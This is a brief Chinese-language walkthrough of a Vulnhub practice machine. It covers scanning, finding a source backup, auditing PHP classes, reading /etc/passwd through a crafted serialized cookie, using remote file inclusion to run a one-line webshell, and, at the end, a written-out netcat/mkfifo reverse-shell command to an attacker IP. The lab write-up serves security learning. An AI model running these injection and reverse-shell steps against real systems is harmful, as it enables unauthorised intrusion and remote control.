1.新建虚拟机,虚拟硬盘使用vulnhub下载提供的虚拟硬盘文件
2.打开虚拟机,扫描网段,确定IP(或者arp -a)
3.发现没有robots.txt,以及一些常见admin,www.zip目录文件,尝试扫目录
拿另一个工具扫一下看看多了一个
4.发现备份文件目录,下载源码
5.分析源码发现关键点在log.class.php中handler方法。可以尝试远程文件包含,并且index.php可以尝试反序列化
通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
经过代码审计可构造payload,尝试读取passwd文件,payload如下
在本地开个小皮 在www下打开这个payload
base64解码 CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (hiencode.com)
然后用burpsuite抓包
发送到重放器 修改cookie为刚才构造的payload.php 的etc/password编码后的结果
7.构造远程包含payload
既然存在文件包含,可以试一下远程文件包含,在本机网站根目录写了一个shell.txt脚本
然后在修改paylod.php尝试读取本地www目录下的shell.txt 里面的脚本
然后再访问一下paylod.php 将这个再去bp更换一下
成功执行一句话木马
7.反弹shell
kali开启监听 尝试回弹一个shell
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh±i+2>%261|nc+192.168.233.139+9090+>/tmp/f
🆗了